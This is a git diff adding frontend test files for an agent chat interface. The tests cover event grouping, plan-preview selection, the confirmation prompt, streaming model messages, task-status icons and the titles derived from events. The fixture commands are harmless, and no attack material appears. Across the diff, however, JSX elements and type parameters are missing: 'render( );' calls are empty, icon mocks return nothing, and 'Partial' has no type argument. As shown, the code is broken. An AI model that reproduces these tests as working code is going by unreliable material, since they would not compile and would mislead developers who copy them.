+ it("does not hoist a ThinkAction's thought (it has its own rendering)", () => {
+ const events = [
+ makeBashAction("a1"),
+ makeBashAction("a2"),
+ makeBashAction("a3"),
+ makeThinkAction("t1"),
+ makeBashAction("a4"),
+ makeBashAction("a5"),
+ makeBashAction("a6"),
+ ];
+
+ const result = groupEvents(events);
+
+ // ThinkAction breaks the run as a single (it isn't groupable), but no
+ // additional "thought" item should be emitted for it because the
+ // ThinkAction's body already renders the thought.
+ expect(result.map((item) => item.kind)).toEqual([
+ "group",
+ "single",
+ "group",
+ ]);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts b/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..bd8ddf99fd7b7c4cda036a48cd0d73a780056f54
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/hooks/use-plan-preview-events.test.ts
@@ -0,0 +1,221 @@
+import { renderHook } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import {
+ usePlanPreviewEvents,
+ shouldShowPlanPreview,
+} from "#/components/conversation-events/chat/hooks/use-plan-preview-events";
+import {
+ OpenHandsEvent,
+ MessageEvent,
+ ObservationEvent,
+ PlanningFileEditorObservation,
+} from "#/types/agent-server/core";
+
+// Helper to create a user message event
+const createUserMessageEvent = (id: string): MessageEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "user",
+ llm_message: {
+ role: "user",
+ content: [{ type: "text", text: "User message" }],
+ },
+ activated_skills: [],
+ extended_content: [],
+});
+
+// Helper to create a PlanningFileEditorObservation event
+const createPlanningObservationEvent = (
+ id: string,
+ actionId: string = "action-1",
+ path: string = "/workspace/PLAN.md",
+): ObservationEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "planning_file_editor",
+ tool_call_id: "call-1",
+ action_id: actionId,
+ observation: {
+ kind: "PlanningFileEditorObservation",
+ content: [{ type: "text", text: "Plan content" }],
+ is_error: false,
+ command: "create",
+ path,
+ prev_exist: false,
+ old_content: null,
+ new_content: "Plan content",
+ },
+});
+
+// Helper to create a non-planning observation event
+const createOtherObservationEvent = (id: string): ObservationEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "execute_bash",
+ tool_call_id: "call-1",
+ action_id: "action-1",
+ observation: {
+ kind: "ExecuteBashObservation",
+ content: [{ type: "text", text: "output" }],
+ command: "echo test",
+ exit_code: 0,
+ error: false,
+ timeout: false,
+ metadata: {
+ exit_code: 0,
+ pid: 12345,
+ username: "user",
+ hostname: "localhost",
+ working_dir: "/home/user",
+ py_interpreter_path: null,
+ prefix: "",
+ suffix: "",
+ },
+ },
+});
+
+describe("usePlanPreviewEvents", () => {
+ it("should return empty set when no events provided", () => {
+ const { result } = renderHook(() => usePlanPreviewEvents([]));
+
+ expect(result.current).toBeInstanceOf(Set);
+ expect(result.current.size).toBe(0);
+ });
+
+ it("should return empty set when no PlanningFileEditorObservation events exist", () => {
+ const events: OpenHandsEvent[] = [
+ createUserMessageEvent("user-1"),
+ createOtherObservationEvent("obs-1"),
+ ];
+
+ const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+ expect(result.current.size).toBe(0);
+ });
+
+ it("should return event ID for single PlanningFileEditorObservation in one phase", () => {
+ const events: OpenHandsEvent[] = [
+ createUserMessageEvent("user-1"),
+ createPlanningObservationEvent("plan-obs-1"),
+ ];
+
+ const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+ expect(result.current.size).toBe(1);
+ expect(result.current.has("plan-obs-1")).toBe(true);
+ });
+
+ it("should return only the last PlanningFileEditorObservation when multiple exist in one phase", () => {
+ const events: OpenHandsEvent[] = [
+ createUserMessageEvent("user-1"),
+ createPlanningObservationEvent("plan-obs-1"),
+ createPlanningObservationEvent("plan-obs-2"),
+ createPlanningObservationEvent("plan-obs-3"),
+ createOtherObservationEvent("other-obs-1"),
+ ];
+
+ const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+ // Should only include the last one in the phase
+ expect(result.current.size).toBe(1);
+ expect(result.current.has("plan-obs-1")).toBe(false);
+ expect(result.current.has("plan-obs-2")).toBe(false);
+ expect(result.current.has("plan-obs-3")).toBe(true);
+ });
+
+ it("should return one event ID per phase when multiple phases exist", () => {
+ const events: OpenHandsEvent[] = [
+ createUserMessageEvent("user-1"),
+ createPlanningObservationEvent("plan-obs-1"),
+ createPlanningObservationEvent("plan-obs-2"),
+ createUserMessageEvent("user-2"),
+ createPlanningObservationEvent("plan-obs-3"),
+ createPlanningObservationEvent("plan-obs-4"),
+ ];
+
+ const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+ // Should have one preview per phase (last observation in each phase)
+ expect(result.current.size).toBe(2);
+ expect(result.current.has("plan-obs-2")).toBe(true); // Last in phase 1
+ expect(result.current.has("plan-obs-4")).toBe(true); // Last in phase 2
+ expect(result.current.has("plan-obs-1")).toBe(false);
+ expect(result.current.has("plan-obs-3")).toBe(false);
+ });
+
+ it("should handle phase with no PlanningFileEditorObservation", () => {
+ const events: OpenHandsEvent[] = [
+ createUserMessageEvent("user-1"),
+ createOtherObservationEvent("obs-1"),
+ createUserMessageEvent("user-2"),
+ createPlanningObservationEvent("plan-obs-1"),
+ ];
+
+ const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+ // Only phase 2 has a planning observation
+ expect(result.current.size).toBe(1);
+ expect(result.current.has("plan-obs-1")).toBe(true);
+ });
+
+ it("should handle events starting with non-user message", () => {
+ const events: OpenHandsEvent[] = [
+ createOtherObservationEvent("obs-1"),
+ createUserMessageEvent("user-1"),
+ createPlanningObservationEvent("plan-obs-1"),
+ ];
+
+ const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+ // Events before first user message should be in first phase
+ expect(result.current.size).toBe(1);
+ expect(result.current.has("plan-obs-1")).toBe(true);
+ });
+
+ it("should exclude PlanningFileEditorObservation for non-Plan.md paths", () => {
+ const events: OpenHandsEvent[] = [
+ createUserMessageEvent("user-1"),
+ createPlanningObservationEvent("plan-obs-1", "action-1", "settings.py"),
+ createPlanningObservationEvent("plan-obs-2", "action-2", "use-add-mcp.ts"),
+ ];
+
+ const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+ expect(result.current.size).toBe(0);
+ });
+
+ it("should include only Plan.md observations when mixed with other file edits", () => {
+ const events: OpenHandsEvent[] = [
+ createUserMessageEvent("user-1"),
+ createPlanningObservationEvent("plan-obs-1", "action-1", "settings.py"),
+ createPlanningObservationEvent("plan-obs-2", "action-2", "/workspace/PLAN.md"),
+ ];
+
+ const { result } = renderHook(() => usePlanPreviewEvents(events));
+
+ expect(result.current.size).toBe(1);
+ expect(result.current.has("plan-obs-2")).toBe(true);
+ });
+});
+
+describe("shouldShowPlanPreview", () => {
+ it("should return true when event ID is in the set", () => {
+ const planPreviewEventIds = new Set(["event-1", "event-2", "event-3"]);
+
+ expect(shouldShowPlanPreview("event-2", planPreviewEventIds)).toBe(true);
+ });
+
+ it("should return false when event ID is not in the set", () => {
+ const planPreviewEventIds = new Set(["event-1", "event-2"]);
+
+ expect(shouldShowPlanPreview("event-3", planPreviewEventIds)).toBe(false);
+ });
+
+ it("should return false when set is empty", () => {
+ const planPreviewEventIds = new Set();
+
+ expect(shouldShowPlanPreview("event-1", planPreviewEventIds)).toBe(false);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/messages-confirmation.test.tsx b/__tests__/components/conversation-events/chat/messages-confirmation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7eb84db8aa77e7e2c9bc927e4f753d6db7b8c1b0
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/messages-confirmation.test.tsx
@@ -0,0 +1,100 @@
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { screen } from "@testing-library/react";
+import { Messages } from "#/components/conversation-events/chat/messages";
+import { useEventStore } from "#/stores/use-event-store";
+import { AgentState } from "#/types/agent-state";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { ExecuteBashAction } from "#/types/agent-server/core/base/action";
+import { renderWithProviders } from "test-utils";
+
+vi.mock("#/hooks/query/use-config", () => ({
+ useConfig: () => ({ data: {} }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: {
+ id: "test-conversation-id",
+ conversation_url: "",
+ session_api_key: null,
+ },
+ }),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: () => ({
+ curAgentState: AgentState.AWAITING_USER_CONFIRMATION,
+ }),
+}));
+
+vi.mock("#/hooks/mutation/use-respond-to-confirmation", () => ({
+ useRespondToConfirmation: () => ({ mutate: vi.fn() }),
+}));
+
+const createBashActionEvent = (
+ id: string,
+ command: string,
+): ActionEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: "ExecuteBashAction",
+ command,
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ tool_name: "execute_bash",
+ tool_call_id: `call_bash_${id}`,
+ tool_call: {
+ id: `call_bash_${id}`,
+ type: "function",
+ function: {
+ name: "execute_bash",
+ arguments: JSON.stringify({ command }),
+ },
+ },
+ llm_response_id: `response_${id}`,
+ security_risk: SecurityRisk.HIGH,
+});
+
+describe("Messages confirmation prompt", () => {
+ beforeEach(() => {
+ useEventStore.setState({
+ events: [],
+ eventIds: new Set(),
+ uiEvents: [],
+ loadedConversationId: null,
+ });
+ });
+
+ it("keeps confirmation visible when the latest action is inside a collapsed event group", () => {
+ const events = [
+ createBashActionEvent("action-1", "echo first"),
+ createBashActionEvent("action-2", "echo second"),
+ ];
+
+ useEventStore.setState({
+ events,
+ eventIds: new Set(events.map((event) => event.id)),
+ uiEvents: events,
+ loadedConversationId: "test-conversation-id",
+ });
+
+ renderWithProviders( );
+
+ expect(screen.getByTestId("event-group")).toBeInTheDocument();
+ expect(screen.getByTestId("event-group-toggle")).toHaveAttribute(
+ "aria-expanded",
+ "false",
+ );
+ expect(
+ screen.getByText("CHAT_INTERFACE$USER_ASK_CONFIRMATION"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("action-reject-button")).toBeInTheDocument();
+ expect(screen.getByTestId("action-confirm-button")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx b/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..72fa22afb0e327a8b6869c1605624902b1b8cd02
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/messages-model-messages.test.tsx
@@ -0,0 +1,79 @@
+import { screen } from "@testing-library/react";
+import { beforeEach, describe, expect, it } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { Messages } from "#/components/conversation-events/chat/messages";
+import { useModelStore } from "#/stores/model-store";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { ExecuteBashAction } from "#/types/agent-server/core/base/action";
+import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event";
+
+const CONVERSATION_ID = "test-conversation-id";
+
+const makeBashAction = (id: string): ActionEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: "ExecuteBashAction",
+ command: `echo ${id}`,
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ tool_name: "execute_bash",
+ tool_call_id: `call_${id}`,
+ tool_call: {
+ id: `call_${id}`,
+ type: "function",
+ function: {
+ name: "execute_bash",
+ arguments: JSON.stringify({ command: `echo ${id}` }),
+ },
+ },
+ llm_response_id: `response_${id}`,
+ security_risk: SecurityRisk.UNKNOWN,
+});
+
+const makeStreamingDelta = (content: string): StreamingDeltaEvent => ({
+ id: "delta-1",
+ timestamp: "2026-06-12T12:00:00Z",
+ source: "agent",
+ kind: "StreamingDeltaEvent",
+ content,
+ reasoning_content: null,
+});
+
+describe("Messages model entries", () => {
+ beforeEach(() => {
+ useModelStore.setState({ entriesByConversation: {} });
+ });
+
+ it("renders model entries anchored to non-last events inside grouped runs", () => {
+ const first = makeBashAction("action-1");
+ const second = makeBashAction("action-2");
+ useModelStore.getState().show(CONVERSATION_ID, first.id, []);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("model-messages")).toBeInTheDocument();
+ });
+
+ it("rerenders when a streaming delta is compacted under the same event id", () => {
+ const firstDelta = makeStreamingDelta("First");
+ const mergedDelta = makeStreamingDelta("First second third");
+
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("First")).toBeInTheDocument();
+
+ rerender( );
+
+ expect(screen.getByText("First second third")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/task-tracking-item-status.test.tsx b/__tests__/components/conversation-events/chat/task-tracking-item-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..621e3561c2e0880cf54d489dbe8e5d2b208731e8
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/task-tracking-item-status.test.tsx
@@ -0,0 +1,122 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { TaskItem } from "#/components/conversation-events/chat/task-tracking/task-item";
+import type { TaskItem as TaskItemData } from "#/types/agent-server/core/base/common";
+import { I18nKey } from "#/i18n/declaration";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: (namespace?: string) => ({
+ t: (key: string) =>
+ namespace === "openhands" ? key : `missing-namespace:${key}`,
+ }),
+}));
+
+vi.mock("#/icons/u-circle.svg?react", () => ({
+ default: ({ className }: { className?: string }) => (
+
+ ),
+}));
+
+vi.mock("#/icons/u-check-circle-half.svg?react", () => ({
+ default: ({ className }: { className?: string }) => (
+
+ ),
+}));
+
+vi.mock("#/icons/u-check-circle.svg?react", () => ({
+ default: ({ className }: { className?: string }) => (
+
+ ),
+}));
+
+function createTask(overrides: Partial = {}): TaskItemData {
+ return {
+ title: "Review the implementation",
+ notes: "",
+ status: "todo",
+ ...overrides,
+ };
+}
+
+describe("conversation task status display", () => {
+ it.each([
+ ["todo", "todo-icon", false],
+ ["in_progress", "in-progress-icon", false],
+ ["done", "done-icon", true],
+ ] as const)(
+ "renders the %s status with its matching icon and title treatment",
+ (status, iconTestId, isMuted) => {
+ const task = createTask({ status, title: `${status} task` });
+
+ const { container } = render( );
+
+ expect(container.querySelector('[data-name="item"]')).toBeInTheDocument();
+ const icon = screen.getByTestId(iconTestId);
+ expect(icon).toBeInTheDocument();
+ const title = screen.getByText(`${status} task`);
+ expect(title).toHaveClass("text-[12px]");
+
+ if (isMuted) {
+ expect(icon).toHaveClass("text-[var(--oh-muted)]");
+ expect(title).toHaveClass("text-[var(--oh-muted)]");
+ } else {
+ expect(icon).toHaveClass("text-[#ffffff]");
+ expect(title).toHaveClass("text-white");
+ expect(title).not.toHaveClass("text-[var(--oh-muted)]");
+ }
+ },
+ );
+
+ it("shows translated notes beneath the task title", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByText("Document the behavior")).toBeInTheDocument();
+ expect(
+ screen.getByText(
+ `${I18nKey.TASK_TRACKING_OBSERVATION$TASK_NOTES}: Include boundary cases`,
+ ),
+ ).toBeInTheDocument();
+ });
+
+ it("omits the notes row when notes are empty", () => {
+ render( );
+
+ expect(
+ screen.queryByText(
+ new RegExp(I18nKey.TASK_TRACKING_OBSERVATION$TASK_NOTES),
+ ),
+ ).not.toBeInTheDocument();
+ });
+
+ it("uses the todo presentation for an unknown runtime status", () => {
+ const task = createTask({
+ status: "blocked" as TaskItemData["status"],
+ });
+
+ render( );
+
+ expect(screen.getByTestId("todo-icon")).toHaveClass("text-[#ffffff]");
+ expect(screen.getByText("Review the implementation")).not.toHaveClass(
+ "text-[var(--oh-muted)]",
+ );
+ });
+
+ it("updates the status icon when task progress changes", () => {
+ const { rerender } = render(
+ ,
+ );
+ expect(screen.getByTestId("todo-icon")).toBeInTheDocument();
+
+ rerender( );
+
+ expect(screen.queryByTestId("todo-icon")).not.toBeInTheDocument();
+ expect(screen.getByTestId("in-progress-icon")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/conversation-events/get-event-content.test.tsx b/__tests__/components/conversation-events/get-event-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d786a49bfa0b5e31a094587a3f51e9fc1543d6df
--- /dev/null
+++ b/__tests__/components/conversation-events/get-event-content.test.tsx
@@ -0,0 +1,486 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import {
+ CANVAS_UI_CLIENT_ACTION_KIND,
+ CANVAS_UI_CLIENT_TOOL_NAME,
+} from "#/constants/canvas-ui";
+import {
+ LAUNCH_CHILD_CONVERSATION_ACTION_KIND,
+ LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+} from "#/constants/child-conversation";
+import { getEventContent } from "#/components/conversation-events/chat";
+import {
+ ActionEvent,
+ ObservationEvent,
+ SecurityRisk,
+} from "#/types/agent-server/core";
+
+const terminalActionEvent: ActionEvent = {
+ id: "action-1",
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [{ type: "text", text: "Checking repository status." }],
+ thinking_blocks: [],
+ action: {
+ kind: "TerminalAction",
+ command: "git status",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ tool_name: "terminal",
+ tool_call_id: "tool-1",
+ tool_call: {
+ id: "tool-1",
+ type: "function",
+ function: {
+ name: "terminal",
+ arguments: '{"command":"git status"}',
+ },
+ },
+ llm_response_id: "response-1",
+ security_risk: SecurityRisk.LOW,
+ summary: "Check repository status",
+};
+
+const terminalObservationEvent: ObservationEvent = {
+ id: "obs-1",
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "terminal",
+ tool_call_id: "tool-1",
+ action_id: "action-1",
+ observation: {
+ kind: "TerminalObservation",
+ content: [{ type: "text", text: "On branch main" }],
+ command: "git status",
+ exit_code: 0,
+ is_error: false,
+ timeout: false,
+ metadata: {
+ exit_code: 0,
+ pid: 1,
+ username: "openhands",
+ hostname: "runtime",
+ prefix: "",
+ suffix: "",
+ working_dir: "/workspace/project/OpenHands",
+ py_interpreter_path: null,
+ },
+ },
+};
+
+describe("getEventContent", () => {
+ it("uses the action summary as the full action title", () => {
+ const { title } = getEventContent(terminalActionEvent);
+
+ render({title} );
+
+ expect(screen.getByText("Check repository status")).toBeInTheDocument();
+ expect(screen.queryByText("$ git status")).not.toBeInTheDocument();
+ });
+
+ it("falls back to command-based title when summary is missing", () => {
+ const actionWithoutSummary = { ...terminalActionEvent, summary: undefined };
+ const { title } = getEventContent(actionWithoutSummary);
+
+ render({title} );
+
+ // Without i18n loaded, the translation key renders as the raw key
+ expect(screen.getByText("ACTION_MESSAGE$RUN")).toBeInTheDocument();
+ expect(
+ screen.queryByText("Check repository status"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("ignores the agent-server fallback summary ('tool_name: {args}') and uses the action-kind title", () => {
+ // The SDK's `_extract_summary` emits `f"{tool_name}: {json}"` when the
+ // LLM omits a summary. That blob should not be shown as the title.
+ const actionWithFallbackSummary = {
+ ...terminalActionEvent,
+ summary: 'terminal: {"command":"git status"}',
+ };
+ const { title } = getEventContent(actionWithFallbackSummary);
+
+ render({title} );
+
+ expect(screen.getByText("ACTION_MESSAGE$RUN")).toBeInTheDocument();
+ expect(
+ screen.queryByText('terminal: {"command":"git status"}'),
+ ).not.toBeInTheDocument();
+ });
+
+ it("ignores fallback summary on the paired observation as well", () => {
+ const actionWithFallbackSummary = {
+ ...terminalActionEvent,
+ summary: 'terminal: {"command":"git status"}',
+ };
+ const { title } = getEventContent(
+ terminalObservationEvent,
+ actionWithFallbackSummary,
+ );
+
+ render({title} );
+
+ expect(screen.getByText("OBSERVATION_MESSAGE$RUN")).toBeInTheDocument();
+ expect(
+ screen.queryByText('terminal: {"command":"git status"}'),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders a file view action through the file-editor visualizer", () => {
+ const fileViewAction: ActionEvent = {
+ id: "action-2",
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: "FileEditorAction",
+ command: "view",
+ path: "/workspace/README.md",
+ file_text: null,
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ },
+ tool_name: "file_editor",
+ tool_call_id: "tool-2",
+ tool_call: {
+ id: "tool-2",
+ type: "function",
+ function: {
+ name: "file_editor",
+ arguments: '{"command":"view","path":"/workspace/README.md"}',
+ },
+ },
+ llm_response_id: "response-2",
+ security_risk: SecurityRisk.LOW,
+ };
+
+ const { title, details } = getEventContent(fileViewAction);
+
+ render({title} );
+ expect(screen.getByText("ACTION_MESSAGE$READ")).toBeInTheDocument();
+ // FileEditor is now migrated to a React visualizer: details is a node that
+ // renders the file-path chip rather than the old empty markdown string.
+ expect(typeof details).not.toBe("string");
+ render({details}
);
+ expect(screen.getByText("/workspace/README.md")).toBeInTheDocument();
+ });
+
+ it.each([
+ ["create", "OBSERVATION_MESSAGE$WRITE"],
+ ["str_replace", "OBSERVATION_MESSAGE$EDIT"],
+ ])(
+ "titles a %s file-editor observation with %s",
+ (command, expectedTitleKey) => {
+ const fileEditorObservation: ObservationEvent = {
+ id: "obs-2",
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "file_editor",
+ tool_call_id: "tool-2",
+ action_id: "action-2",
+ observation: {
+ kind: "FileEditorObservation",
+ command: command as "create" | "str_replace",
+ output: "",
+ path: "/workspace/canvas.md",
+ prev_exist: command !== "create",
+ old_content: null,
+ new_content: "# Canvas",
+ error: null,
+ },
+ };
+
+ const { title } = getEventContent(fileEditorObservation);
+
+ render({title} );
+ expect(screen.getByText(expectedTitleKey)).toBeInTheDocument();
+ },
+ );
+
+ it("shows action kind for action-like events missing tool_name/tool_call_id", () => {
+ // Simulate an event that has an action object but fails the strict isActionEvent() guard
+ const malformedEvent = {
+ id: "action-3",
+ timestamp: new Date().toISOString(),
+ source: "agent" as const,
+ action: { kind: "FileEditorAction" },
+ };
+
+ const { title, details } = getEventContent(malformedEvent as any);
+
+ expect(title).toBe("FILEEDITOR");
+ expect(details).toBe("");
+ });
+
+ it("reuses the action summary as the full paired observation title", () => {
+ const { title } = getEventContent(
+ terminalObservationEvent,
+ terminalActionEvent,
+ );
+
+ render({title} );
+
+ expect(screen.getByText("Check repository status")).toBeInTheDocument();
+ expect(screen.queryByText("$ git status")).not.toBeInTheDocument();
+ });
+
+ it("renders InvokeSkillAction with the skill name instead of 'INVOKESKILL'", () => {
+ const invokeSkillAction: ActionEvent = {
+ id: "action-skill",
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: "InvokeSkillAction",
+ name: "worktree-switch",
+ },
+ tool_name: "invoke_skill",
+ tool_call_id: "tool-skill",
+ tool_call: {
+ id: "tool-skill",
+ type: "function",
+ function: {
+ name: "invoke_skill",
+ arguments: '{"name":"worktree-switch"}',
+ },
+ },
+ llm_response_id: "response-skill",
+ security_risk: SecurityRisk.LOW,
+ };
+
+ const { title, details } = getEventContent(invokeSkillAction);
+
+ render({title} );
+ // Without i18n loaded, the translation key renders as the raw key —
+ // the important thing is that we no longer fall back to "INVOKESKILL".
+ expect(screen.getByText("ACTION_MESSAGE$INVOKE_SKILL")).toBeInTheDocument();
+ expect(screen.queryByText("INVOKESKILL")).not.toBeInTheDocument();
+ expect(details).toContain("worktree-switch");
+ });
+
+ it("renders InvokeSkillObservation with the skill name", () => {
+ const invokeSkillObservation: ObservationEvent = {
+ id: "obs-skill",
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "invoke_skill",
+ tool_call_id: "tool-skill",
+ action_id: "action-skill",
+ observation: {
+ kind: "InvokeSkillObservation",
+ skill_name: "worktree-switch",
+ content: [{ type: "text", text: "# Skill content" }],
+ },
+ };
+
+ const { title, details } = getEventContent(invokeSkillObservation);
+
+ render({title} );
+ expect(
+ screen.getByText("OBSERVATION_MESSAGE$INVOKE_SKILL"),
+ ).toBeInTheDocument();
+ expect(screen.queryByText("INVOKESKILL")).not.toBeInTheDocument();
+ expect(details).toContain("worktree-switch");
+ expect(details).toContain("# Skill content");
+ });
+
+ it("titles a TaskAction with the subagent and shows the query", () => {
+ const taskAction: ActionEvent = {
+ id: "act-task",
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ tool_name: "task",
+ tool_call_id: "tool-task",
+ action: {
+ kind: "TaskAction",
+ prompt: "Summarize the README",
+ subagent_type: "code-explorer",
+ },
+ } as unknown as ActionEvent;
+
+ const { title } = getEventContent(taskAction);
+
+ render({title} );
+ expect(screen.getByText("ACTION_MESSAGE$TASK")).toBeInTheDocument();
+ expect(screen.queryByText("TASK")).not.toBeInTheDocument();
+ });
+
+ it("titles a TaskObservation with the subagent", () => {
+ const taskObservation: ObservationEvent = {
+ id: "obs-task",
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "task",
+ tool_call_id: "tool-task",
+ action_id: "act-task",
+ observation: {
+ kind: "TaskObservation",
+ content: [{ type: "text", text: "All done." }],
+ is_error: false,
+ task_id: "task_00000001",
+ subagent: "code-explorer",
+ status: "completed",
+ },
+ };
+
+ const { title } = getEventContent(taskObservation);
+
+ render({title} );
+ expect(screen.getByText("OBSERVATION_MESSAGE$TASK")).toBeInTheDocument();
+ // The body is rendered by the task visualizer (covered in task.test.tsx),
+ // so only the title is asserted here.
+ });
+
+ it("renders CanvasUIObservation as just its acknowledgement text", () => {
+ const canvasUIObservation: ObservationEvent = {
+ id: "obs-canvas",
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "canvas_ui",
+ tool_call_id: "tool-canvas",
+ action_id: "action-canvas",
+ observation: {
+ kind: "CanvasUIObservation",
+ content: [
+ {
+ type: "text",
+ text: "UI command 'open_tab' dispatched to the Agent Canvas frontend.",
+ },
+ ],
+ is_error: false,
+ },
+ };
+
+ const { title, details } = getEventContent(canvasUIObservation);
+
+ render({title} );
+ expect(
+ screen.getByText("OBSERVATION_MESSAGE$CANVAS_UI"),
+ ).toBeInTheDocument();
+ // The body is exactly the acknowledgement text, not a JSON dump.
+ expect(details).toBe(
+ "UI command 'open_tab' dispatched to the Agent Canvas frontend.",
+ );
+ });
+
+ it("renders client-defined Canvas UI events like legacy events", () => {
+ const canvasUIAction: ActionEvent = {
+ id: "action-canvas-client",
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: CANVAS_UI_CLIENT_ACTION_KIND,
+ command: "open_tab",
+ path: null,
+ tab: "files",
+ },
+ tool_name: CANVAS_UI_CLIENT_TOOL_NAME,
+ tool_call_id: "tool-canvas-client",
+ tool_call: {
+ id: "tool-canvas-client",
+ type: "function",
+ function: {
+ name: CANVAS_UI_CLIENT_TOOL_NAME,
+ arguments: '{"command":"open_tab","tab":"files"}',
+ },
+ },
+ llm_response_id: "response-canvas-client",
+ security_risk: SecurityRisk.LOW,
+ summary: "",
+ };
+ const canvasUIObservation: ObservationEvent = {
+ id: "obs-canvas-client",
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: CANVAS_UI_CLIENT_TOOL_NAME,
+ tool_call_id: "tool-canvas-client",
+ action_id: "action-canvas-client",
+ observation: {
+ kind: "ClientToolObservation",
+ content: [{ type: "text", text: "Tool call dispatched to client." }],
+ is_error: false,
+ },
+ };
+
+ const actionContent = getEventContent(canvasUIAction);
+ render({actionContent.title} );
+ expect(screen.getByText("CANVASUI")).toBeInTheDocument();
+
+ const { title, details } = getEventContent(
+ canvasUIObservation,
+ canvasUIAction,
+ );
+ render({title} );
+ expect(
+ screen.getByText("OBSERVATION_MESSAGE$CANVAS_UI"),
+ ).toBeInTheDocument();
+ expect(details).toBe(
+ "UI command 'open_tab' dispatched to the Agent Canvas frontend.",
+ );
+ });
+
+ // Without the explicit mapping the default branch would surface the SDK's
+ // generated discriminator ("CLIENTACTION_LAUNCH_CHILD_CONVERSATION") to users.
+ it("titles the launch-child-conversation tool call and its acknowledgement", () => {
+ const launchAction: ActionEvent = {
+ id: "action-launch",
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: LAUNCH_CHILD_CONVERSATION_ACTION_KIND,
+ target: "local",
+ task: "Add a regression test for the parser",
+ },
+ tool_name: LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+ tool_call_id: "tool-launch",
+ tool_call: {
+ id: "tool-launch",
+ type: "function",
+ function: {
+ name: LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+ arguments: '{"target":"local","task":"Add a regression test"}',
+ },
+ },
+ llm_response_id: "response-launch",
+ security_risk: SecurityRisk.LOW,
+ summary: "",
+ };
+ const launchObservation: ObservationEvent = {
+ id: "obs-launch",
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: LAUNCH_CHILD_CONVERSATION_TOOL_NAME,
+ tool_call_id: "tool-launch",
+ action_id: "action-launch",
+ observation: {
+ kind: "ClientToolObservation",
+ content: [{ type: "text", text: "Tool call dispatched to client." }],
+ is_error: false,
+ },
+ };
+
+ render({getEventContent(launchAction).title} );
+ expect(
+ screen.getByText("ACTION_MESSAGE$LAUNCH_CHILD_CONVERSATION"),
+ ).toBeInTheDocument();
+
+ render(
+ {getEventContent(launchObservation, launchAction).title} ,
+ );
+ expect(
+ screen.getByText("OBSERVATION_MESSAGE$LAUNCH_CHILD_CONVERSATION"),
+ ).toBeInTheDocument();
+ });
+});
